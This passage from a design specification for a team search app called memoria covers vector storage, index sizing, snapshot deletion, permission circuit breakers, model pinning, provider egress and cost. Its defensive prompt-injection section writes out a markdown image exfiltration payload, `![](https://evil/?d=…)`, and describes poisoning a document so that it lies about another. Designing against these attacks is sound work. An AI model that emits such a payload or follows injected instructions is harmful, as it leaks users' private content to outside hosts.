that does degrade is the form the spec had not committed to.

Gate 28 is therefore deterministic and cannot be argued past — *every
stored vector has L2 norm 1 ± ε; mutation: skip the renormalise, expect
red* — and gate 29 carries the measurement it cannot do.

**It costs ingest bandwidth, not storage.** Truncation happens before
storing, so the table below is unchanged — 90k chunks × 4096 f32 is
**~1.4 GB decoded to store 46 MB**, a ratio of about 32×, not the 8× you
get by mis-reading the kept width as the f32@512 intermediate (184 MB is
what truncation yields; int8 quantisation is what is stored).

**On the wire it is several GB, and base64 is not the way out.** Tested
2026-09-05: `encoding_format: "base64"` is **accepted and silently
ignored** — the response returns JSON floats, matching the request that
omits the parameter. Not an error, just dropped. So the ~2 GB base64 figure
an earlier draft hedged with is unavailable.
**The replacement figure is derived, not measured, and the range is wide.**
At ~11 bytes a float it is ~4 GB across 90k chunks; servers of this family
often emit 17-significant-digit reprs at ~20 bytes, which is ~7 GB. A probe
response was in hand and nobody counted its bytes — measure bytes-per-
vector once and multiply, rather than guessing at a serialiser's precision.
**And "no opt-out" overstates it:** `Content-Encoding: gzip` collapses
digit strings, Go's client asks for it by default, and whether TensorX
honours it is one response header on the same probe (§13). Note the behaviour as well as the number: **a provider that
accepts a parameter and discards it will do so again**, which is an
argument for asserting on what comes back rather than on what was asked
for.

This is ingest-time, not wake-time, so §7.3's ceiling is untouched. It is
not free either: neither the first embed's wall-clock nor the batch size
the endpoint accepts is written down anywhere, and §13 asks for the
re-embed figure while the first embed's is equally absent.

| chunks | int8 @512 | f32 @512 | f32 @768 |
|---|---|---|---|
| 10k | 5 MB | 20 MB | 31 MB |
| 90k | **46 MB** | 184 MB | 276 MB |
| 250k | 128 MB | 512 MB | 768 MB |

Draft 1's table mixed an int8 design with f32 columns without saying so.

**Query latency, derived.** A brute-force pass is `2 × N × D` flops. On
one core of this machine, measured at **3.2 GFLOP/s** (pure Go, no SIMD):

| chunks × dims | flops | latency |
|---|---|---|
| 10k × 512 | 10.2 M | 3 ms |
| 90k × 512 | 92 M | 29 ms |
| 100k × 768 | 154 M | **48 ms — measured, matches** |
| 250k × 512 | 256 M | 80 ms |
| 1M × 512 | 1.02 G | 320 ms |

**FTS index size — remeasured, and draft 2 was wrong by half.** Draft 2
reported 104 MB from a synthetic corpus of random letters. The draft-2
review showed that figure could not describe the stated schema, because a
default FTS5 table keeps its own copy of the inserted text. Measured
properly, on the real corpus, chunked by memoria's own chunker
(`docs/BENCHMARKS.md` carries the machine and command):

| schema | index | bytes/chunk | build | query |
|---|---|---|---|---|
| `fts5(body, …)` — default | **200 MB** | 2329 | 6.8 s | 1.09 ms |
| `fts5(body, content='', …)` | **49 MB** | 574 | 6.2 s | 1.09 ms |

**A contentless table is 4× smaller and queries just as fast, but cannot
return column values — so `snippet()` does not work and memoria must build
its own highlight from the sealed chunk.** That is the trade, recorded as a
decision: slice 0 uses the default table because a snippet is free there
and the corpus is tiny; the snapshot design uses contentless, because 49 MB
against 200 MB decides the wake budget.

**A chunk is smaller than draft 2 assumed.** Measured mean: **202 words /
1325 bytes**, not 400 words / 1.6 KB. The chunker targets 400 words but
folds runts and never straddles a heading, and real documents have
headings every few paragraphs. Every figure here follows from the measured
size.

**The chunker is line-based, and three bugs made it so** (found reviewing
the built code, not the spec). A heading is a heading whether or not a
blank line follows it — `## Revenue` immediately above its text is the
commonest Markdown style, and a paragraph-based splitter filed the whole
thing as body with an empty trail, so those documents indexed with no
heading at all. A `#` inside a fenced code block is a shell comment, and
was becoming a heading that captured everything after it. And a file with
no blank lines — a CSV, a log, hard-wrapped prose — became one chunk of
the entire file, whose only citation read "passage 0" for everything. So:
fences are tracked, headings close a chunk without needing a blank line,
and **`MaxWords` (1000) is a hard ceiling on both a paragraph and a
chunk**. The measured mean above is from the fixed chunker.

**Rebuild vs snapshot.** Building the index took **6.8 s** at 90k chunks.
Loading a sealed snapshot does not. **Snapshot, never rebuild** — above
slice 0, where a rebuild is milliseconds.

### 7.3 The wake budget, and the real ceiling

Snapshot at 90k chunks, measured:

| design | FTS | vectors | separate text | total |
|---|---|---|---|---|
| default FTS (text is in the index) | 200 MB | 44 MB | — | **244 MB** |
| contentless FTS + the text snippets need | 49 MB | 44 MB | 114 MB | **207 MB** |

**Stated assumption, which draft 1 omitted:** bucket read at 50–100 MB/s,
AES-GCM at ~1 GB/s. So 150 MB loads in **1.5–3.0 s plus 0.15 s decrypt**.

A **5 s budget** at the conservative bandwidth admits ~250 MB. Against the
measured footprints that is **about 90,000–110,000 chunks**.

**Both earlier drafts got this wrong, in opposite directions, and the
correction is worth keeping.** Draft 1 said ~100k and called it "the same
ceiling the brute-force arithmetic gives, which is tidy" — a coincidence it
had manufactured. Draft 2 called that out and derived ~150k instead, from
an FTS figure that was wrong by half. So **draft 2 moved the number the
wrong way while claiming to have fixed the arithmetic, and draft 1's
~100k was closer by accident.** Measurement, not rederivation, is what
settled it.

Brute-force cosine remains nowhere near binding: §7.2 measures 250k chunks
at 80 ms.

**The honest conclusion draft 1 missed: the wake budget binds first, and
ANN does not help it.** An HNSW graph makes the snapshot *larger*. So the
deferred item is not "ANN at 250k" but **an on-disk sealed index, or
partial load with background fill** — §12.

### 7.4 Snapshots, deletion, and restore

**A snapshot is not a cache; it is a durable copy that outlives the
deletion it predates.** GPT Sol's finding 6, which neither the other
reviewer nor draft 1 caught.

- **A deletion is not complete until a superseding snapshot is written
  and the prior snapshot is retired.** Snapshots carry a monotonic
  generation; retirement deletes the blob.
- **On wake, sibling content may serve immediately**, because §4.1 asks
  the sibling live and a deleted item answers `NOT_VISIBLE`.
- **memoria-owned content (§4.2) has no such backstop**, so its deletions
  must be applied to the loaded index before it serves. A snapshot
  records the deletion cursor it is current through; a gap is replayed
  from the tombstone log at wake, before first query.
- **A restore from backup takes the re-announce path** and replays
  memoria-owned tombstones before serving.
- **A *sibling's* restore is the mirror case, and §4.1 specifies it.**
  memoria then holds revisions the sibling does not, which answer `AHEAD`.
  Reconciliation is: the source leaves the ranking, the re-announce runs,
  items the completed announce omits are **retired**, and announced
  revisions replace memoria's whichever way the numbers point. Retirement
  is a memoria-side deletion, so it goes through this section's durable
  tombstone log like any other; an announce that fails to complete retires
  nothing. Gate 27.
- **The tombstone log is durable independently of the database, and this
  is what draft 2 was missing.** Restoring a backup from before a deletion
  also restores a tombstone log from before it, so replaying that log
  replays nothing: the deletion is simply gone. So tombstones are written
  to their own append-only object in the bucket, keyed by a monotonic
  deletion sequence, retained beyond any restorable backup's age, and
  **replayed from the sequence the restored database stops at** rather
  than from the log it happens to carry.
- **A snapshot is not retired while any restorable backup could point at
  it.** Draft 2's retirement rule created the mirror-image bug: a restored
  database referencing a superseded generation finds the blob deleted and
  has no index at all. Retirement waits out the backup retention window,
  and a snapshot referenced by a missing generation triggers a rebuild
  rather than an empty index — an empty index would serve "nothing
  matched" over a full corpus.

---

## 8. Retrieval and the answer

### 8.1 One gate, both paths

**Every path that renders a passage calls §4.1 first** — search results,
snippets, generated answers, derived artefacts, API responses. There is
no passage-only path that skips it, which is the whole of gap 2's fix.

With AI off, the floor: a GET form, `?q=`, ranked passages, each carrying
app, title, locator, 👨/🤖 marker, date, and a deep link. Scriptless,
paginated, rastrillo `server` shape. Lexical only, since embeddings need
a provider — and per §3.2, nothing leaves the instance in this mode.

**§8.8's fact box is part of this floor and not an addition above it.** It
calls no model in its deterministic layer (§8.8, decision 15 as
amended), so that layer is present in exactly the mode this
paragraph describes; gate 15 covers it with everything else here, and it
renders inside the results region rather than beside it.

**Loud withholding, naming the shape of the loss:**

- `UNKNOWN` from a sibling → *"Sheets did not answer; 7 results
  withheld."*
- A failed S3 after a successful S2 → the passage is listed as
  unavailable, never dropped.
- A failed or stale S1 → the page states the corpus is current as of a
  time, rather than implying freshness.
- **A circuit breaker, and draft 4's renamed its problem rather than
  removing it.** Draft 3's fired on the routine case — a Docs-only member
  gets wholesale `NOT_VISIBLE` from Sheets on every query they will ever
  run, and a notice that fires for an ordinary person is a notice readers
  learn to skip. Draft 4 wrote the right sentence, **"the predicate has to
  be a property of the sibling, not of one asker"**, and then kept a
  predicate that was a property of whoever happened to query that day:
  *zero `VISIBLE` in a 24-hour window*. Two ordinary events satisfy it.

  A 24-hour Sheets outage answers `UNKNOWN` to everything, which is zero
  `VISIBLE`, which trips a breaker whose whole subject is refusal — an
  availability problem reported as a permissions anomaly, on the day the
  operator most needs to read the notice correctly. And on a team where
  one person uses Sheets and three do not, a single day when that person
  is away leaves three askers, four pages of queries, zero `VISIBLE` and a
  `VISIBLE` last week. The routine case with a day off in it.

  **So the predicate counts refusals, not the absence of grants, and the
  signal is a per-asker transition.** Per sibling, over a rolling 24-hour
  window:

  - **the baseline set** is every asker who received at least one
    `VISIBLE` from this sibling in the 7 days *ending where the window
    begins* — `[start − 7d, start)`, disjoint from the window, so the
    window can never be its own baseline;
  - the breaker fires when **at least 3 askers in the baseline set each
    asked this sibling at least one pair inside the window and received
    zero `VISIBLE`**, and **the window contains at least one
    `NOT_VISIBLE`** from this sibling.

  Each clause earns its place. Counting `NOT_VISIBLE` rather than "no
  `VISIBLE`" is what separates a sibling that is refusing from one that is
  down: an outage produces `UNKNOWN`s and no `NOT_VISIBLE`, so it does not
  trip this breaker at all — §6.5's partial-page notice is what reports
  it. The per-asker transition is what makes the predicate a property of
  the sibling: a Docs-only member is never in the baseline set, so no
  number of them can trip it, whoever else did or did not query today.
  And requiring each counted asker to have *asked* inside the window is
  what stops absence being read as refusal.

  **The 200-pair clause is dropped, and its removal is the point.** One
  page of results is 50 pairs, so four queries met it; it did no work, and
  a floor that everything clears is a clause that reads as rigour. What
  replaces it is the requirement that three baseline askers each actually
  queried the sibling in the window, which is a floor written against the
  thing being measured rather than against the traffic.

  **Where the windows live, and what that costs.** memoria hibernates
  (§3.5), so an in-memory window resets on every wake and a breaker that
  can never accumulate seven days of baseline is a breaker that is off —
  reading, on the owner's page, as "no anomaly". So the counters are
  **durable**: per `(sibling, asker, UTC day)`, two integers — `VISIBLE`
  and `NOT_VISIBLE` — sealed under their own HKDF purpose, **retained 8
  days and no longer**, which is the window plus the baseline plus one.
  That is a per-person, per-sibling record of how much each person was
  allowed to see, it is a per-person record, alongside optional Home identity bindings, and
  **§3.2's leak list carries it** rather than leaving it to be discovered.
  Two integers a day is the smallest thing that answers the question; a
  per-refusal log would answer it too and is not built, because the
  aggregate is sufficient and the log is not.

  **The window is a UTC day, and the NOT_VISIBLE clause is per counted
  asker. Corrected 2026-09-07.**

  It says the counters are keyed per `(sibling, asker, UTC day)` and that
  the window is *rolling 24 hours*. Two integers a day cannot answer a
  question about an interval beginning partway through a day: there is
  nothing in the row to split on, which is the whole economy of storing an
  aggregate rather than the per-refusal log declined above. The storage
  rule wins, because it is the one the leak list was written against —
  **the window is the current UTC day, and the baseline the seven UTC days
  before it**, still disjoint. The cost is precision at the boundary: a
  refusal spree beginning at 23:00 UTC is judged on an hour of evidence
  and re-judged on a full day. That is a delay in firing, never a false
  positive, which is the right direction for a notice whose purpose is not
  to cry wolf.

  **And the third clause binds each counted asker, not the window.** It
  read "the window contains at least one `NOT_VISIBLE`", which §13 had
  already recorded as wrong: window-global, it is satisfied by one routine
  refusal of a Docs-only member, so a 24-hour outage plus that single
  query fires the refusal breaker — the exact case the prose above says is
  excluded. Per counted asker — **`VISIBLE = 0` and `NOT_VISIBLE >= 1`** —
  all three clauses collapse into one condition, and "asked in the window"
  stops needing its own storage: a refusal *is* the evidence that somebody
  asked.

  *An amendment made here on 2026-09-07 added a third counter, `ASKED`,
  arguing that the clause could not otherwise fail. The observation was
  right — an all-`UNKNOWN` day writes no row, so an outage's askers never
  enter the window and mutation (ii) stays green — and the remedy was
  wrong twice over. §13 already carried the correct fix, and this section
  was amended without opening it, which is the failure AGENTS.md calls
  characteristic, committed while repairing another one. And the third
  integer enlarged the per-person breaker record memoria keeps — a "how often
  did they query" count — without §3.2's leak list being opened either.
  Both reverted; two integers, and the clause moved instead.*

  **A window that cannot be read says so.** If the counters are missing,
  unreadable or short of a full baseline — a fresh instance, a restore, a
  seal failure — the sources page reports **"cannot determine"** for that
  sibling, naming which of the two it lacks. It never reports "no
  anomaly", because a count that fails is not a count of zero, and this is
  the one place in the design where that mistake would silently disable a
  guard rather than mis-render a page.

- **The S3 half has no asker**, so its predicate is the same shape with
  the asker clause removed: **at least 20 fetches in the window, all 404,
  with at least one success in the disjoint preceding 7 days.** Twenty
  rather than two hundred because an ingest pass fetches far fewer items
  than a search asks pairs, and the 200 here was the same borrowed number
  doing the same non-work.

- **Neither breaker's counters are read at query time.** They are written
  on the path that already made the call and read only when the owner's
  sources page is rendered, so a reader never waits on them.

- **Wholesale `AHEAD` is a third breaker**, and it reads differently: not
  a mis-scoped predicate but a restore (§4.1). **Unbuildable until the
  contract module ships the fifth constant** — with the wire mapping the
  case to `UNKNOWN`, this breaker cannot fire at all, and worse, it would
  be indistinguishable from the outage this section says must *not* trip
  one. §13 carries the dependency. It states a restore, marks
  the source for re-announce, **takes that source out of the ranking**,
  and purges nothing. It needs no baseline and no asker floor, because a
  single `AHEAD` is already a positive statement that the sibling lost
  history — there is no routine case to exclude. Gate 27.

- **All three purge nothing, and none of them appears on a reader's
  results page** — with one exception the `AHEAD` breaker has to make.
  The refusal and S3 notices go to the team owner's sources page, because
  a message telling one reader how much they were not allowed to see is a
  disclosure with a number in it, and §4.1 is explicit that
  `NOT_VISIBLE` is the one value that may be silent. **The reconciling
  notice is different and does go on the results page**: it says a source
  is temporarily out of the search, which is a statement about the suite's
  health and carries no fact about anyone's permissions. Leaving it off
  would be the silent short page gate 27 exists to catch. Gates 8 and 27.

### 8.2 Routing, decided after retrieval

Retrieval is free, so the router runs on results. Five classes, three
calling no model:

| Class | Signal | Route |
|---|---|---|
| Navigational | "where is the Q3 budget" | **No model.** Result list. |
| Numeric / aggregate | asks for a computed value | **No model does the arithmetic.** Resolve slots, then S6 — §8.7. |
| Who knows about X | asks about people | **No model.** Authorship markers on passages that already passed §4.1, aggregated. |
| Single-source factual | large top-1 BM25 margin, one document | Cheap model, extractive. |
| Synthesis | top-K spread across ≥3 documents | Frontier model. |

Draft 1 wrote "filtered to what the asker can see" on the third row,
which either restated §4.1 or smuggled a second per-person filter
alongside it. The passages have already passed the gate.

**§8.8's fact box is not a sixth row, and it was one in that section's
first draft.** A row here is a route, and a route is terminal: a query
naming a fact kind would have stopped at the box, so *"what's the office
phone number?"* with nothing validated in reach would get no answer where
the single-source class would have given one. The box runs **before** this
table and does not consume the query — Paul's constraint is deterministic
*first*, not deterministic *instead*. It is a fourth way memoria answers
without a model; it is not a fourth destination.

Two configuration names — `model.cheap`, `model.frontier` — with the
route printed on the answer.

**The pinning rule bit the first two ids this section chose**, and the
catalogue since settled how to satisfy it. The first pair were
`z-ai/glm-5.3-flash` and `moonshotai/kimi-k3`, neither datestamped. **The
live catalogue proves the concern rather than merely suggesting it: it
lists `deepseek/deepseek-v4-pro` and `deepseek/deepseek-v4-pro-0813` side
by side** — the same model as a bare alias and as a dated snapshot, which
is exactly the shape the rule is about, in this vendor's own inventory
(`GET /v1/models`, 2026-09-05).

**Only two families offer a dated id at all.** DeepSeek
(`v4-pro-0813`, `v4-flash-0731`, `r1-0528`) and one Qwen
(`qwen3-235b-a22b-2507`). Every Kimi, GLM and MiniMax id is a bare name —
`kimi-k3` exists, but no `kimi-k3-<date>` does. So pinning Kimi would make
gate 30's canary load-bearing, and pinning DeepSeek does not.

**Both tiers are therefore DeepSeek:** `model.cheap` is
`deepseek/deepseek-v4-flash-0731` and `model.frontier` is
`deepseek/deepseek-v4-pro-0813`. Confirmed by Paul on 2026-09-05.

**Be exact about how much of that the rule decided.** It forced the move
off two undated ids. It did *not* force DeepSeek twice: the survey above
lists a dated Qwen (`qwen3-235b-a22b-2507`), so a two-lab pair satisfies
the rule equally. Choosing DeepSeek for both is a judgement about price,
recency and family coherence — defensible, and **made without putting the
Qwen option in front of Paul**, which §13 records rather than quietly
keeps.

**The concentration gets a stated response, not just a note.** Both tiers
are now one lab as well as one host, so a DeepSeek withdrawal moves both at
once. Name the fallback now — `qwen/qwen3-235b-a22b-2507` for the frontier
tier, `z-ai/glm-5.3-flash` for the cheap one with gate 30 carrying it — so
a withdrawal is a config change through §Review on a normal day rather than
a research task on a bad one.

**The canary is not demoted, and an earlier draft of this section demoted
it wrongly.** At first configuration, embed a fixed set of public,
non-content sentences — not team content, so §3.2 is untouched — seal the
vectors, re-embed on wake, and **state an anomaly when cosine drift exceeds
a stated ε**. Gate 24, covering all three pinned ids, and §11's sentence
stands unamended: it is the only thing standing between a stable id and a
silent swap.

**A dated id at a reseller pins a label, not a behaviour.** DeepSeek does
ship dated release artefacts, so `-0813` plausibly names lab weights — but
TensorX did not train them, §13 records that id immutability *at TensorX*
is unread, and everything short of the weights that moves a chat model's
output is theirs to change under an unchanged id: quantisation, chat
template, sampling defaults, context truncation. A dated id buys a name to
print on an answer. It does not buy a detector.

**`openrouter/auto` is disqualified**, and so is anything shaped like it.
It selects by trailing-7-day community spend, changes weekly, and cannot be
attributed — failing AGENTS.md §Review's "record which model" and decision
4's naming requirement. State the rule generally, because a router is not
the only thing that breaks it: **a model id that can change under a team
without that team changing it cannot be printed on an answer.** A floating
alias is disqualified on identical grounds, which is why the two config
names hold ids and not tiers — pinned where the catalogue permits it, and
canaried where it does not.

**Noted against ourselves:** OpenAI's dated snapshots satisfy this rule
more cleanly than the catalogue §8.3 selects. That is a real cost of the
provider choice, and §8.3 records it as one rather than talking past it.

### 8.3 Egress

Per decision 4: one provider, fixed by the team owner, named on every
answer, disclosed in the README's first paragraph, opt-in per team, with
§8.1's floor working when it is off.

**The provider memoria supports is TensorX** (`api.tensorx.ai`) —
open-weight models served on EU infrastructure in Dublin, Helsinki and
Paris, with **advertised** zero retention. Advertised: no account exists,
no terms have been read, and §3.6 tells the reader we cannot verify a
retention promise. That sentence keeps saying so.

**The provider is not team-configurable**, ruled by Paul on 2026-09-04.
Supporting one is a code change; a team owner's choice is on or off. This
is narrower than decision 4's "fixed by the team owner", and deliberately:
a configurable base URL on an OpenAI-compatible client would let an owner
point memoria at a proxy while the answer still printed "one named
provider", which is the failure this whole section is about. Decision 13
records it.

**Swapping later is cheap on one side and not the other.** Generation is
one client, one base URL and two model ids, through code and §Review, where
the two-parties question gets asked again. **Embeddings are a third id and
the expensive one:** a new host that serves the same open `qwen3-embedding-8b`
weights yields compatible vectors and costs a migration, and any other host
costs a re-embed of the whole corpus — 24M tokens at an unmeasured
wall-clock (§13). Saying "swapping stays cheap" without that split would
contradict §13 two pages later.

**Why this one, honestly stated.** Not because it beats OpenRouter and
OpenAI on decision 4's own words — on one half of them it loses:

- **Fewer parties, not one party.** OpenRouter is a proxy, so the proxy and
  the upstream that runs the weights both see content, and "one named
  provider" would be naming one of two. TensorX **presents as** running the
  weights it serves — no proxy is interposed that we can see, and the one
  probe that could have shown otherwise returned 403 rather than an
  embedding. **That is weaker than it reads.** A 403 is a refusal, not a
  not-found, it was one key's refusal, and the probe had no control: nobody
  asked what a *nonsense* model id returns. If a made-up name 404s while
  `text-embedding-3-small` 403s, then that name is in their routing table
  and the probe found exactly the thing it was built to find, merely gated.
  §13 carries the two control calls that separate the readings; until they
  run this is a presentation, not a fact.
  Beyond it, **one contractual counterparty is not one organisation seeing
  the corpus**: a vendor this young on infrastructure in three cities is
  plausibly renting it, and a subprocessor sees content in exactly the
  sense §3.2 means. That is a DPA question and the DPA is unread (§13).
  The claim is *narrowed*, not *closed*, and §13's item says so.
- **Named weights — partially.** §8.2's requirement, met by a namespaced
  catalogue, but only `deepseek/deepseek-v4-pro-0813` and its like are
  datestamped. On id-pinning **OpenAI's dated snapshots are strictly
  better**, and §8.2 records that against us.
- **Open weights, which decision 4 never asked for.** Any host serving the
  same `qwen3-embedding-8b` produces compatible vectors, so the vendor
  failing is a *re-host*, not a re-embed of the corpus — see §13. Self-
  hosting stays reachable (§12). This is the strongest argument here and it
  is not a decision-4 argument at all.
- **EU jurisdiction**, likewise not a decision-4 criterion.

**So the honest record is:** TensorX was chosen for sovereignty and open
weights — criteria Paul added on 2026-09-04, not criteria decision 4 stated
— at a known cost in id-pinning and in frontier answer quality (§8.2, §13).
Going direct to OpenAI satisfies decision 4's letter at least as well: one
counterparty, pinnable dated ids, zero-retention obtainable on request, and
the subprocessor point cuts both ways since it runs on Azure. It loses on
jurisdiction, on open weights, and on cost. Written that way the choice
stands; written as "TensorX wins on decision 4" it would be false.

**Three things send content to it, and only the third exists today.**
Embeddings at ingest — every chunk, once (§7.2, not built). Answers — the
passages behind a generated answer (§8.2, not built). And **§8.9's
metadata extraction** — up to eight ruled passages of a search request
that asks for a kind with no validator, a postal address, whether or not
an answer would follow and including live searches while typing. The
third was built first, on 2026-09-27, and the README discloses it alone
because it is the only one the binary performs.

**What it does not change.** This is still whole-corpus egress at ingest,
and §3.2's leak list is unaltered: a provider that sees the corpus sees the
corpus, whatever its jurisdiction. EU jurisdiction and zero retention
constrain what may lawfully be done with the content *after* it arrives —
the first thing on this page that constrains anything — but they do not
reduce what is sent, and a retention term is a promise we cannot verify
(§3.6 says so to the reader and should keep saying it). Decision 5's AI-off
floor remains the only configuration in which nothing leaves.

**The rule is suite §8's, not memoria's**, and this spec cites it rather
than qualifying another app's:

> Egress that is a property of the product is forbidden. Egress that is
> per-team opt-in, to one named recipient, disclosed in the README's first
> paragraph and on every artefact it produced, with a working floor when it
> is off, is admissible.

That one sentence replaces what stood here — a qualification of Docs §11.2
written from memoria's side — and Docs cites the same sentence rather than
its own wording (A.2, merged 2026-09-05 as `6797bbf`). **This is how
`oficina/docs` discussion 33 closed:** it asked for the boundary of Docs'
rejection to be recorded rather than the rejection reversed, and a shared
sentence records it once instead of twice in two repos that then drift.

**What memoria still has to say for itself**, because the doctrine states
the rule and not our position under it: per §3.2, **memoria's embedding
ingest is whole-corpus egress**, not merely answer-time top-k. Draft 1
compared Docs' whole documents against memoria's retrieved passages, which
flattered memoria. Under suite §8 the difference is opt-in, naming, and the
AI-off floor. **It is not a difference in what the provider sees, nor in
how much.**

**A "model call ledger" is content.** Any runtime record of prompts holds
retrieved passages, so it falls under §3.2's log rule and §5.2's
provenance rule. It is not the development prompt ledger of docs
AGENTS.md, which records prompts to `refs/amadan/ledger/<branch>`; draft
1's "the prompt ledger" ambiguously named both. If a runtime ledger is
built it is sealed, provenance-stamped, and expires with its sources.

### 8.4 Citations with an optional answer, never the reverse

A citation list is always served without an answer. **An answer is never
served without its list.** With AI on, a 🤖 paragraph appears above the
list; every sentence carries a passage id from it, and a sentence citing
nothing is dropped before render. **If every sentence is dropped, say
so** — an empty paragraph is indistinguishable from AI being off.

#### The invariant, which is the part that binds

> **Every passage in a response, and every passage in a model prompt,
> passed §4.1 in the request that produced it. Nothing memoria holds, and
> nothing it accepts from the client, carries a passage across requests.**

This is decision 3 applied to rendering, and §8.5 already states its other
half — *"authorization runs before the model exists"*. It is a rule about
what may enter a response or a prompt **per request**. It says nothing
about interface shape, and it is enforceable: gates 17 and 26.

What it forbids is **re-speaking**. A surface that puts previously
retrieved passages back into a model prompt, re-renders them server-side,
or stores them in a transcript row is memoria speaking those passages
again, at a moment when nobody has asked whether this person may still see
them. Carrying *query text* forward is not re-speaking and is not
forbidden: retrieval and S2 then run from scratch, which is the whole point
of retrieval being free (§8.2).

**An earlier draft of this section argued the case badly, and the argument
is worth recording as wrong.** It said a chat transcript is a cache of
authorized passages because turn 1's snippets sit on screen while turn 4 is
asked. That proves too much: it is equally true of a search results page
left open in a tab, and of `/documents/{id}`, which renders a whole
document's passages and stays open as long as the reader likes. **A
rendered page is a copy in a browser and memoria's revocation never reaches
it** — true of every page here, chat or not, and now recorded as such in
§3.2 rather than argued from here. The draft also claimed re-authorizing a
transcript would breach §6.5's deadline. It would not: §4.1 batches 256
pairs per call and §6.5 makes a page one round of concurrent calls, so a
four-turn transcript of eight passages is 32 pairs — one batch, one round,
the same floor as a fresh query. **A correct chat is affordable under this
spec.** The invariant, not the latency, is what does the work.

#### The shape, which is a product ruling and not a consequence

**memoria is a search page: one GET search form, `?q=`, one query in and
one page out**, with `/documents/{id}` as the only other passage surface.
That follows from decision 5 — the search floor *is* the product — and not
from decision 3, which a conversational surface could satisfy. Recorded as
decision 14 — the spec author's ruling, in answer to a question Paul asked
on 2026-09-04 and **confirmed by him on 2026-09-05**. A conversational
surface that keeps the invariant above is not forbidden by this section; it
is deferred by §12, where it can be argued on its merits rather than
smuggled in as a corollary. Parking it there rather than ruling it out was
the half that needed confirming, and it was confirmed explicitly.

Two things this settles for now:

- **A refined search is a new query.** Edit `?q=` and ask again; nothing
  carries over, and nothing needs to.
- **The 🤖 paragraph is disposable — today.** One paragraph above one list,
  regenerated per query, stored nowhere; it is not a §5.2 derived artefact
  and no runtime prompt record exists to fall under §8.3's ledger rule.
  **Both halves expire if §12's cached-answers or model-call-ledger rows
  trigger**, and this paragraph changes with them.

**What slice 0 actually shipped is a subset of §8.1's floor**, not the
floor: `index.html` renders source, title, ordinal, snippet and deep link,
but **no 👨/🤖 marker, no date, and no pagination** — `Search(ctx, q, 25)`
is a hard cap and nothing renders a second page. §9.1 also specifies
`GET /query?q=` where the app serves `GET /?q=`. Three gaps and a path,
listed rather than glossed.

Hybrid, then, in the sense that matters: **the search page is the product
and the answer is a garnish on it** (decision 5).

### 8.5 Prompt injection

- **No tools.** memoria retrieves and answers. It **never writes to a
  sibling at answer time** and never fetches a URL at answer time. Suite
  §7's writes are not tools and are not on this path: the hand-off is a
  person clicking a button after an answer is rendered, and S8 is memoria
  filing its own material. Neither is reachable from a prompt, which is
  what this bullet is about.
- **No remote loads in rendered answers.** `![](https://evil/?d=…)` is
  exfiltration without a tool. Strip remote images; refuse links to
  non-suite hosts.
- **Authorization runs before the model exists.** §4.1 has already
  filtered the passages, so injection cannot cross a grant line — there
  is nothing on the other side to retrieve.
- **Every claim carries an openable citation.** Poisoning one document to
  lie about another survives all of the above; a checkable snippet is the
  only mitigation, and a partial one.

### 8.6 Cost

On §7.2's measured corpus — 90k chunks, **24M tokens**:

**Ingest:** 24M × $0.02/M (`qwen/qwen3-embedding-8b`) = **$0.48 once**.
Re-embed only changed chunks. The figure survives the move off
`text-embedding-3-small` unchanged because the two list prices happen to
match — a coincidence, not a reason to stop rechecking it.

This has been wrong twice, in opposite directions. Draft 1 priced 60M
tokens against a 90k-chunk corpus; draft 3 corrected to 36M by keeping the
*intended* 400-token chunk; the measured chunk is 202 words. It follows
from §7.2's measurement, and if that measurement moves so does this.

**Query:** retrieval is free. The generative layer sends ~8 passages plus
instructions — ~5k tokens in, ~500 out. Against the ids §8.2 pins:
`deepseek/deepseek-v4-flash-0731` at $0.25/$0.30 per M is **~$0.0014 a
query**, and `deepseek/deepseek-v4-pro-0813` at $2.00/$4.00 is
**~$0.012**. Five people × 20 queries/day × 22 days = 2,200 queries:
**~$3/month if most route cheap, ~$26 if most route frontier.**

Read that against one baseline, because an earlier draft used two. Draft 3
carried **~$5 cheap and ~$100 frontier** against a generic provider. So the
frontier month fell about **4×** and the cheap month about **1.6×** —
both moved, and the earlier claim that "the ceilings fell, the estimates
did not" was true only of the intermediate glm/kimi pair and is now
retired. Per query the cheap figure still sits inside the $0.001–0.003
range this section always carried; the frontier one, at $0.012, has fallen
below its $0.02–0.10 range rather than sitting in it.

Most of that came from §8.2 pinning dated ids from one family, not from the
provider switch, and none of it is a reason to route more queries to the
frontier tier — §8.2's three model-free classes remain the design, and this
section's closing sentence still holds.

Derived-artefact regeneration (§5.2) adds a synthesis-class call per
invalidated artefact and is unbudgeted until the feature exists. **So does
§8.9**, at one cheap-tier call per query that names a valueless kind and
whose recognisers found nothing — a small fraction of a small fraction.
**Cheap tier by choice, not by necessity**: Paul's ruling says "best value
models", and extraction from eight passages is the cheap tier's work under
§8.2. A better model would extract better — more complete addresses,
cleaner boundaries, fewer omissions — so this is a cost-quality trade to be
re-measured, not a consequence of the verbatim check.

The money is recurring query tokens by an order of magnitude — the
economic argument for §8.2's router and its three model-free classes.

### 8.7 Numeric and aggregate questions

Paul's motivating example, 2026-09-03: *"what's average revenue in June the
last 3 years"*. Ruled independently by Fable and GPT Sol, which converged;
where they differ, the stricter reading is taken.

**The tension this resolves.** §2 says memoria never recomputes a number,
because a second calculator eventually disagrees with the first. But no
cell contains "average June revenue over three years", so the question
either gets forbidden or the rule gets read properly. What the rule
protects is not arithmetic — averaging three doubles is deterministic —
it is **selection, units and formatting**: actual versus budget, one year
in thousands, `1234567.833` versus `€1,234,568`. Sheets §5 already names a
second formatter as the same bug class one layer down.

**So: Sheets computes, memoria never does** (decision 10). S6 takes an
**enumerated function over cell references** — `SUM`, `AVERAGE`, `MIN`,
`MAX`, `COUNT` — and never expression text, so memoria is not a formula
author and cannot grow into one. Rejected alternatives: memoria computing
and showing its working (a second calculator, arrived at one `mean` at a
time); writing a formula into a scratch sheet — **and note this rejection
now stands on decision 10's own ground rather than on a write ban.** Suite
§7's S8 permits memoria to write into a designated area, and a scratch tab
is exactly that shape, so "forbidden by §6.4" is no longer the reason. The
reason is decision 10 itself: a formula memoria authored is a calculation
memoria owns, and a citation that cites itself.

**Chunking a spreadsheet**, which §13 carried as unsolved. Two chunk kinds
per tab:

- **One structure chunk per tab** — sheet title, tab name, dimensions, the
  header band, the leftmost text column, number formats named in words,
  and every date-like header emitted twice, as displayed and canonicalised
  (`Jun 2024` *and* `2024-06`). This is the chunk that carries the
  vocabulary.
- **Region row chunks**, one per row of a header-plus-contiguous-block
  region, rendered as **facts rather than positions**: *"FY2024 › P&L ›
  Revenue: Jan 2024 = €1,200,000; … Jun 2024 = €1,350,000"*. Row label is
  the nearest text run to the left, column label the header band above,
